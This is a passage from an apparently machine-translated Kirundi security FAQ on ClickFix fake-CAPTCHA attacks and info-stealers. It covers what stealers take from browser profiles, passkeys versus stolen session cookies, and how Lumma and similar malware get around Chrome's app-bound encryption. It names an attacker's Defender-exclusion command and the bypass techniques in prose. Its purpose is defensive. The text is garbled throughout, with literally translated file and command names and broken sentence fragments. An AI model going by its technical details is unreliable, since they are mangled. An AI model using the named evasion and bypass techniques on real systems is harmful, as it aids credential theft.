Kuko wewe - umukoresha w'umuntu yinjiye - ukanda ku mubiri Intsinzi + R maze akubita Injira, Windows ifata itegeko nk'igikorwa c'ubutegetsi c'intumbero catangujwe kuva umugenzuzi.exe aho gukoresha dosiye itizewe yavanywe kuri interineti (iyo mu bisanzwe yoba ifise ikimenyetso c’urubuga Akarere.Ikiranga tag). Ikindi, iminyororo ya ClickFix ikoresha ubuhinga bwa Microsoft bushizweko umukono (mshta.exe, igikoko c'ububasha.exe, umushitsi.exe, canke abasemuzi b'uwundi muntu bashizeko umukono nka Ivyikora3.exe) gukoranya no gufungura umuzigo w’inyungu utaziguye muri RAM, akenshi ukora Kwongera-MpIhitamwo -Inzira yo Gukuraho "C:\" mu milisegonda ya mbere imbere yo kwandika dosiye iyo ari yo yose imenyekana y'ubumara kuri disiki.

Mbega info-stealer yiba amadosiye kuri konti zose z'abakoresha kuri PC yanje, canke gusa urutonde rwanje rwinjiye (Default vs. Profile 1, Profile 2)?¶

Abasuma b'amakuru buri dosiye y'umwirondoro wa mucukumbuzi imbere muri konti yawe y'umukoresha wa Windows (%Amakuru y'Iporogarama y'Igihugu%\Google\Chrome\Amakuru y'Ukoresha\Imburabuzi, Umwirondoro 1, Umwirondoro 2, n’ibindi, muri Chrome, Edge, Brave, Opera, na Firefox), naho izo nkuru z’umucukumbuzi wa kabiri zitagira idirisha ryuguruye ico gihe. Ivyo bisigura ko iyo ugumye umwirondoro wa Chrome "Umurimo" utandukanye n'umwirondoro wa Chrome "Umuntu ku giti ciwe" munsi y'injira imwe ya Windows, izo mpapuro zompi zari zifise amajambobanga yazo yabitswe n'amakuru y'ibanga yibwe icarimwe.

None iyo nkoresha Passkey kuri konti yanje ya Google canke Microsoft - mbega uwo mwiba w'amakuru yari yivye Passkey yanje?¶

Bivana n’aho Passkey yabitswe, kandi ikiruta vyose, nta gukeka ko yivye cookie y'igihe gikora yaremwe inyuma yo kwinjira ukoresheje iyo Passkey. Mbere, nimba wari waramaze kwinjira muri Google/Microsoft muri Chrome/Edge kuri iyo PC, uwo muterabwoba ntakeneye Passkey yawe kuko yivye cookie yawe y'igihe c'ubuzima - rero utegerezwa gukanda Sohoka mu biganiro vyose ku gikoresho gisukuye. Ubwa kabiri, nimba Passkey yawe yari ibitswe muri Windows Muraho (TPM 2.0 hardware chip) canke kuri YubiKey canke iPhone, urufunguzo rw’ibanga ruri imbere muri iyo chip ntirushobora gusohoka hanze n’ibintu bibi. Ariko rero, nimba wabitse amafunguro y’ibanga ahuriweko imbere mu nzu y’ibanga y’uwundi muntu idafunguwe kuri iyo PC, nuce ubwo nyene ukuraho ayo mafunguro y’ibanga mu mategeko y’umutekano wa konti yawe.

Ni gute "Ububiko bushingiye kuri porogaramu" bwa Google Chrome (v20 ibifungurwa) birashikirwa, kandi birakora Lumma Stealer n’ukuyirengagiza?¶

Guhera muri Chrome 127+, Google yashizeho ububiko bushingiye kuri porogaramu kuri Windows, buboha ububiko bw'amakuru (`v20` imbere) ku serivisi ya sisitemu ya Windows (`GoogleChromeElevationService`) kugira ngo uhagarike porogarama mbi zifise uburenganzira buke bwo gukuraho amakuru y’ibanga. Ariko rero, inyubakwa zo muri iki gihe za . Umusuma wa Lumma, KwibaC, na Meduza n'umwete unyure mu nzira y'ububiko bw'iporogarama mu kwinjiza kode mu buryo butaziguye mu nkuru idafise umutwe ya Chrome.exe, gukoresha nabi icuma co gukosora kure ca Chrome (--kure-gukosora-icuma), canke gushira hejuru uduteka two guhamagara aba . Asanseri Ikigaragaza COM. Ntukigere wibaza ko Chrome 127+ yakingiye amakuru yawe y’ikiganiro iyo wakoze igikorwa ca ClickFix; n’igihe cose ushiremwo ivyigwa vyose ubwo nyene.

Mbega itegeko rya ClickFix rikoreshwa kuri telefone yanje ya iPhone canke Android ryoshobora kwanduza telefone yanje Win + R porogaramu mbi?¶

Iyo ukoresheje CAPTCHA y’ikinyoma kuri iPhone (`iOS`) canke telefone ya Android, iyo ari yo yose y'idirisha / mshta.exe itegeko ryakopiwe kuri telefone yawe ngendanwa ntishobora gukora kuri iOS canke kuri Android, kubera ko ubuhinga bwo gukoresha telefone ngendanwa butagira . Intsinzi + R Gukoresha ikiganiro, igikoko c'ububasha.exe, canke mshta.exe. Ariko rero, hariho amapaji ya ClickFix azi ivy’amatelefone ngendanwa arabona User-Agent yawe yo kuri telefone ngendanwa maze akagusubiza mu gushiramwo Android mbi . .apk dosiye, ubuyobozi bw'ibikoresho vy'amaboko vy'iOS (`MDM`) urutonde rw’imiterere, canke ukwiyandikisha kw’imenyekanisha ry’ububisha rya PWA/Web Push. Suzuma ko ata dosiye canke urutonde rwawe washizeko.

Inyobora zifitaniye isano¶

• Gufata amakuru y'ibanga, porogaramu mbi y'infostealer, no gukuraho urufunguzo rw'ibanga
• Cryptocurrency igikapu c'amazi n'imbuto y'amajambo yo gusenyera ku mugozi umwe
• Porogaramu mbi, porogaramu y'incungu, n'indwara y'ubutasi
• Konti ya imeyili yasambuwe, amategeko yo kohereza, no kugarura
• Uruhererekane rw'ibikoresho npm/PyPI gusenyera ku mugozi umwe n'uguhinduranya urufunguzo rw'aho umuhinguzi akora
• Porogaramu y'ikinyoma yo kurwanya umugera, itangazo ritari ryo, n'ugusukura uruhusha rwa mucukumbuzi
• Inomero z'ivyihutirwa hakurikijwe igihugu

Amasoko n'ubuyobozi buzwi¶

• Ikigo kijejwe umutekano wo kuri Internet n’ibikorwa remezo (CISA) & Ibiro vya Leta Zunze Ubumwe za Amerika vy'Iperereza (FBI) (Leta Zunze Ubumwe za Amerika): Impanuro zihurikiyeko ku bijanye n’umutekano wo kuri Internet (AA24-131A / Impanuro zijanye n’iterabwoba ry’abasuma b’amakuru n’abanyaruyeri): Gugabanya ubuzima butari bw’igihugu (LOLBin) n’Ibitero vy’Ubusuma bw’Ikimenyetso c’Ikiganiro.
• Ikigo c’Igihugu c’Ivyagezwe n’Ikoranabuhanga (NIST) (Leta Zunze Ubumwe za Amerika): Igitabu kidasanzwe 800-61 Ivyahishuriwe 2: Igitabu c’Ivyiyumviro vy’Ivy’Umutekano wa Mudasobwa & SP 800-63B: Inyigisho z’Ivy’Indangamuntu (Ugucungera Ivyigwa no Gusubira Kwemeza).
• Ubwenge bwa Microsoft bwo gutera ubwoba (Microsoft Security): Gusuzuma amasekeza y'ubuhinga bw'imibano ya ClickFix, urushinge rw'ibinyoma rwa CAPTCHA (RunMRU), na PowerShell Inyandiko y'Igitabu (Event ID 4104).
• Ikigo c'igihugu kijejwe umutekano wo kuri Internet (NCSC) (Ubwongereza): Gugabanya ibitero vya Malware na Ransomware & Impanuro ku Busuma bw'Ivyemezo ku Rugero rw'Igikoresho.
• Ikigo c’Ubumwe bw’Uburayi kijejwe umutekano wo kuri Internet (ENISA): Raporo y'Iterabwoba ry'Igihugu ca ENISA: Abasuma b'Amakuru (Lumma, StealC, RedLine, AMOS) n’Ingingo zo Guhangana n’Ugufata Amakuru y’Ikiganiro.